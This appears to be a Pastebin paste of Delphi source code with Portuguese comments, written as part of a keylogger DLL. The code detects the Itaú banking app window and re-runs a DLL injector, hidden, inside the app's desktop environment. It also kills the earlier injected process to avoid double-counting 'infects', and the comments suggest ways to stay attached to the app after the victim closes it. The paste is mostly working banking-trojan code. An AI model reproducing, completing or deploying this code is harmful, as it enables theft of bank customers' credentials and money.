Advertisement
Guest User

Untitled

a guest
Feb 16th, 2019
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.26 KB | None | 0 0
  1. {
  2.  
  3. Todo esse código deve ir dentro do seu módulo dlll da kl
  4.  
  5. }
  6.  
  7. function KillTask(ExeFileName: string): Integer;
  8. const
  9. PROCESS_TERMINATE = $0001;
  10. var
  11. ContinueLoop: BOOL;
  12. FSnapshotHandle: THandle;
  13. FProcessEntry32: TProcessEntry32;
  14. begin
  15. Result := 0;
  16. FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  17. FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  18. ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  19.  
  20. while Integer(ContinueLoop) <> 0 do
  21. begin
  22. if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
  23. UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
  24. UpperCase(ExeFileName))) then
  25. Result := Integer(TerminateProcess(
  26. OpenProcess(PROCESS_TERMINATE,
  27. BOOL(0),
  28. FProcessEntry32.th32ProcessID),
  29. 0));
  30. ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  31. end;
  32. CloseHandle(FSnapshotHandle);
  33. end;
  34.  
  35. // Coloca intervalo de 1000 (1 segundo)
  36. procedure TForm1.tmrAppItaTimer(Sender: TObject);
  37. var
  38. si: TStartupInfo;
  39. pri: TProcessInformation;
  40. pid: DWORD;
  41.  
  42. begin
  43. if FindWindow(nil, 'Aplicativo Itaú') > 0 then // Detectar quando a janelinha de carregamento do App Itaú aparece
  44. begin
  45. FillChar(si, SizeOf(si), 0);
  46. si.cb := SizeOf(si);
  47. si.dwFlags := STARTF_USESHOWWINDOW;
  48. si.wShowWindow := SW_HIDE;
  49. si.lpDesktop := 'default_set'; // Ambiente do App Itaú chama-se: 'default_set'
  50.  
  51. // Executa o injetor de dll novamente, só que dessa vez dentro do ambiente do App Itaú :D
  52. CreateProcess(nil, 'Injetor.exe', nil, nil, False, NORMAL_PRIORITY_CLASS, nil, nil, si, pri);
  53.  
  54. Sleep(1000);
  55.  
  56. // Encerra o processo vítima da injeção de dll para não contar 2x o mesmo infect no op
  57. KillTask('processo_que_vc_injeta_a_all.exe');
  58. end;
  59. end;
  60.  
  61. {
  62.  
  63. Como esquema extra, você pode fazer algo para detectar quando o processo do App Itaú for encerrado pela vítima,
  64. como se ela estivesse saindo da info, daí você executaria novamente o injetor normalmnte por exemplo com a função ShellExecute();
  65. e em seguida encerraria o processo onde a dll está injetada, assim você ficaria preso somente ao App Itaú.
  66.  
  67. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement